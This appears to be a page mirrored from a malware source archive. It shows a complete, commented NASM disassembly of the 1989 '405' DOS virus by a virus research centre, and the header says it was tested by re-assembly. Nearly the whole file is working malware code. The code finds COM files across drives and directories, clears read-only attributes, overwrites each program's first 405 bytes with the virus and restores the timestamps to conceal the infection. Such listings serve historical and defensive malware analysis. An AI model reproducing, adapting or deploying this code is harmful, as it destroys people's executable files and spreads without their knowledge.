mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-24 20:35:25 +00:00
206 lines
6.3 KiB
NASM
206 lines
6.3 KiB
NASM
|
title The '405' virus
|
|||
|
|
page 65,132
|
|||
|
|
; <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ͻ
|
|||
|
|
; <20> British Computer Virus Research Centre <20>
|
|||
|
|
; <20> 12 Guildford Street, Brighton, East Sussex, BN1 3LS, England <20>
|
|||
|
|
; <20> Telephone: Domestic 0273-26105, International +44-273-26105 <20>
|
|||
|
|
; <20> <20>
|
|||
|
|
; <20> The '405' Virus <20>
|
|||
|
|
; <20> Disassembled by Joe Hirst, March 1989 <20>
|
|||
|
|
; <20> <20>
|
|||
|
|
; <20> Copyright (c) Joe Hirst 1989. <20>
|
|||
|
|
; <20> <20>
|
|||
|
|
; <20> This listing is only to be made available to virus researchers <20>
|
|||
|
|
; <20> or software writers on a need-to-know basis. <20>
|
|||
|
|
; <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ͼ
|
|||
|
|
|
|||
|
|
; The virus overwrites the first 405 bytes of a COM file. If the
|
|||
|
|
; length of the COM file is less than this, the length is increased
|
|||
|
|
; to 405 bytes.
|
|||
|
|
|
|||
|
|
; The disassembly has been tested by re-assembly using MASM 5.0.
|
|||
|
|
|
|||
|
|
BUFFER SEGMENT AT 0
|
|||
|
|
|
|||
|
|
ORG 295H
|
|||
|
|
DW0295 DW ?
|
|||
|
|
DB0297 DB ?
|
|||
|
|
|
|||
|
|
ORG 0E000H
|
|||
|
|
DWE000 DW ? ; Read buffer area
|
|||
|
|
|
|||
|
|
ORG 0E195H
|
|||
|
|
DWE195 DW ? ; Program after virus
|
|||
|
|
|
|||
|
|
BUFFER ENDS
|
|||
|
|
|
|||
|
|
CODE SEGMENT BYTE PUBLIC 'CODE'
|
|||
|
|
ASSUME CS:CODE,DS:NOTHING,ES:BUFFER
|
|||
|
|
|
|||
|
|
VIRLEN EQU OFFSET ENDADR-START
|
|||
|
|
ORG 100H
|
|||
|
|
|
|||
|
|
START: XCHG SI,AX
|
|||
|
|
ADD [BX+SI],AL
|
|||
|
|
SAHF
|
|||
|
|
ADD [BX+SI],AL
|
|||
|
|
NOP
|
|||
|
|
|
|||
|
|
MOV AX,0 ; Clear register
|
|||
|
|
MOV ES:DB0249,AL ; Set current disk to default
|
|||
|
|
MOV ES:DB024B,AL ; Set pathname store to zero
|
|||
|
|
MOV ES:DB028B,AL ; Set number of drives to zero
|
|||
|
|
PUSH AX
|
|||
|
|
MOV AH,19H ; Get current disk function
|
|||
|
|
INT 21H ; DOS service
|
|||
|
|
MOV ES:DB0249,AL ; Save current disk
|
|||
|
|
MOV AH,47H ; Get current directory function
|
|||
|
|
ADD AL,1 ; Next drive (A)
|
|||
|
|
PUSH AX
|
|||
|
|
MOV DL,AL ; Drive A
|
|||
|
|
LEA SI,DB024B ; Pathname store
|
|||
|
|
INT 21H ; DOS service
|
|||
|
|
POP AX
|
|||
|
|
MOV AH,0EH ; Select disk function
|
|||
|
|
SUB AL,1 ; Convert drive for select function
|
|||
|
|
MOV DL,AL ; Move drive
|
|||
|
|
INT 21H ; DOS service
|
|||
|
|
MOV ES:DB028B,AL ; Save number of drives
|
|||
|
|
BP0139: MOV AL,ES:DB0249 ; Get current disk
|
|||
|
|
CMP AL,0 ; Is drive A?
|
|||
|
|
JNZ BP0152 ; Branch if not
|
|||
|
|
MOV AH,0EH ; Select disk function
|
|||
|
|
MOV DL,2 ; Change drive to B
|
|||
|
|
INT 21H ; DOS service
|
|||
|
|
MOV AH,19H ; Get current disk function
|
|||
|
|
INT 21H ; DOS service
|
|||
|
|
MOV ES:DB024A,AL ; Save new current drive
|
|||
|
|
JMP BP0179
|
|||
|
|
|
|||
|
|
BP0152: CMP AL,1 ; Is drive B?
|
|||
|
|
JNZ BP0167 ; Branch if not
|
|||
|
|
MOV AH,0EH ; Select disk function
|
|||
|
|
MOV DL,2 ; Change drive to C
|
|||
|
|
INT 21H ; DOS service
|
|||
|
|
MOV AH,19H ; Get current disk function
|
|||
|
|
INT 21H ; DOS service
|
|||
|
|
MOV ES:DB024A,AL ; Save new current drive
|
|||
|
|
JMP BP0179
|
|||
|
|
|
|||
|
|
BP0167: CMP AL,2 ; Is drive C?
|
|||
|
|
JNZ BP0179 ; Branch if not
|
|||
|
|
MOV AH,0EH ; Select disk function
|
|||
|
|
MOV DL,0 ; Change drive to A
|
|||
|
|
INT 21H ; DOS service
|
|||
|
|
MOV AH,19H ; Get current disk function
|
|||
|
|
INT 21H ; DOS service
|
|||
|
|
MOV ES:DB024A,AL ; Save new current drive
|
|||
|
|
BP0179: MOV AH,4EH ; Find first file function
|
|||
|
|
MOV CX,1 ; Find read-only files, not system
|
|||
|
|
LEA DX,DB028C ; Path '*.COM'
|
|||
|
|
INT 21H ; DOS service
|
|||
|
|
JB BP0189 ; Branch if error
|
|||
|
|
JMP BP01A9 ; Process COM file
|
|||
|
|
|
|||
|
|
BP0189: MOV AH,3BH ; Change current directory function
|
|||
|
|
LEA DX,DB0297 ; Directory pathname (this is past the end)
|
|||
|
|
INT 21H ; DOS service
|
|||
|
|
MOV AH,4EH ; Find first file function
|
|||
|
|
MOV CX,0011H ; Find directory and read-only
|
|||
|
|
LEA DX,DB0292 ; Path '*'
|
|||
|
|
INT 21H ; DOS service
|
|||
|
|
JB BP0139 ; Branch if error
|
|||
|
|
JMP BP0179 ; Find a COM file
|
|||
|
|
|
|||
|
|
BP01A0: MOV AH,4FH ; Find next file function
|
|||
|
|
INT 21H ; DOS service
|
|||
|
|
JB BP0189 ; Branch if error
|
|||
|
|
JMP BP01A9 ; Process COM file
|
|||
|
|
|
|||
|
|
; Process COM file
|
|||
|
|
|
|||
|
|
BP01A9: MOV AH,3DH ; Open handle function
|
|||
|
|
MOV AL,2 ; R/W access
|
|||
|
|
MOV DX,009EH ; File pathname
|
|||
|
|
INT 21H ; DOS service
|
|||
|
|
MOV BX,AX ; Move handle
|
|||
|
|
MOV AH,3FH ; Read handle function
|
|||
|
|
MOV CX,VIRLEN ; Length of virus
|
|||
|
|
NOP
|
|||
|
|
MOV DX,OFFSET DWE000 ; Read it in way down there
|
|||
|
|
NOP
|
|||
|
|
INT 21H ; DOS service
|
|||
|
|
MOV AH,3EH ; Close handle function
|
|||
|
|
INT 21H ; DOS service
|
|||
|
|
MOV BX,DWE000 ; Get first word of COM file
|
|||
|
|
CMP BX,9600H ; Is it infected? (should be 0096H)
|
|||
|
|
JZ BP01A0 ; Yes, find another one
|
|||
|
|
MOV AH,43H ; \ Get file attributes function
|
|||
|
|
MOV AL,0 ; /
|
|||
|
|
MOV DX,009EH ; File pathname
|
|||
|
|
INT 21H ; DOS service
|
|||
|
|
MOV AH,43H ; \ Set file attributes function
|
|||
|
|
MOV AL,1 ; /
|
|||
|
|
AND CX,00FEH ; Set off read only attribute
|
|||
|
|
INT 21H ; DOS service
|
|||
|
|
MOV AH,3DH ; Open handle function
|
|||
|
|
MOV AL,2 ; R/W mode
|
|||
|
|
MOV DX,009EH ; File pathname
|
|||
|
|
INT 21H ; DOS service
|
|||
|
|
MOV BX,AX ; Move handle
|
|||
|
|
MOV AH,57H ; \ Get file date & time function
|
|||
|
|
MOV AL,0 ; /
|
|||
|
|
INT 21H ; DOS service
|
|||
|
|
PUSH CX
|
|||
|
|
PUSH DX
|
|||
|
|
ASSUME ES:NOTHING
|
|||
|
|
MOV DX,CS:DW0295 ; Get word after virus here
|
|||
|
|
MOV CS:DWE195,DX ; Move to same position in prog
|
|||
|
|
MOV DX,CS:DWE000+1 ; Get displacement from initial jump
|
|||
|
|
LEA CX,DB0294-100H ; Length of virus minus one
|
|||
|
|
SUB DX,CX
|
|||
|
|
MOV CS:DW0295,DX ; Store in word after virus
|
|||
|
|
MOV AH,40H ; Write handle function
|
|||
|
|
MOV CX,VIRLEN ; Length of virus
|
|||
|
|
NOP
|
|||
|
|
LEA DX,START ; Beginning of virus
|
|||
|
|
INT 21H ; DOS service
|
|||
|
|
MOV AH,57H ; \ Set file date & time function
|
|||
|
|
MOV AL,1 ; /
|
|||
|
|
POP DX
|
|||
|
|
POP CX
|
|||
|
|
INT 21H ; DOS service
|
|||
|
|
MOV AH,3EH ; Close handle function
|
|||
|
|
INT 21H ; DOS service
|
|||
|
|
MOV DX,CS:DWE195 ; Get word after virus
|
|||
|
|
MOV CS:DW0295,DX ; Move to same position here
|
|||
|
|
JMP BP0234
|
|||
|
|
|
|||
|
|
BP0234: MOV AH,0EH ; Select disk function
|
|||
|
|
MOV DL,CS:DB0249 ; Get current disk
|
|||
|
|
INT 21H ; DOS service
|
|||
|
|
MOV AH,3BH ; Change current directory function
|
|||
|
|
LEA DX,DB024A ; Address of path - this is incorrect
|
|||
|
|
INT 21H ; DOS service
|
|||
|
|
MOV AH,0 ; Terminate program function
|
|||
|
|
INT 21H ; DOS service
|
|||
|
|
|
|||
|
|
DB0249 DB 2 ; Current disk
|
|||
|
|
DB024A DB 0 ; New current drive
|
|||
|
|
|
|||
|
|
; There should be an extra byte at this point containing '\'
|
|||
|
|
; for use by the change directory function - this is why that
|
|||
|
|
; function is pointing at the previous field
|
|||
|
|
|
|||
|
|
DB024B DB 'TEST', 3CH DUP (0)
|
|||
|
|
DB028B DB 0DH ; Number of drives
|
|||
|
|
DB028C DB '*.COM', 0
|
|||
|
|
DB0292 DB '*', 0
|
|||
|
|
DB0294 DB 0E9H
|
|||
|
|
|
|||
|
|
ENDADR EQU $
|
|||
|
|
|
|||
|
|
CODE ENDS
|
|||
|
|
|
|||
|
|
END START
|
|||
|
|
|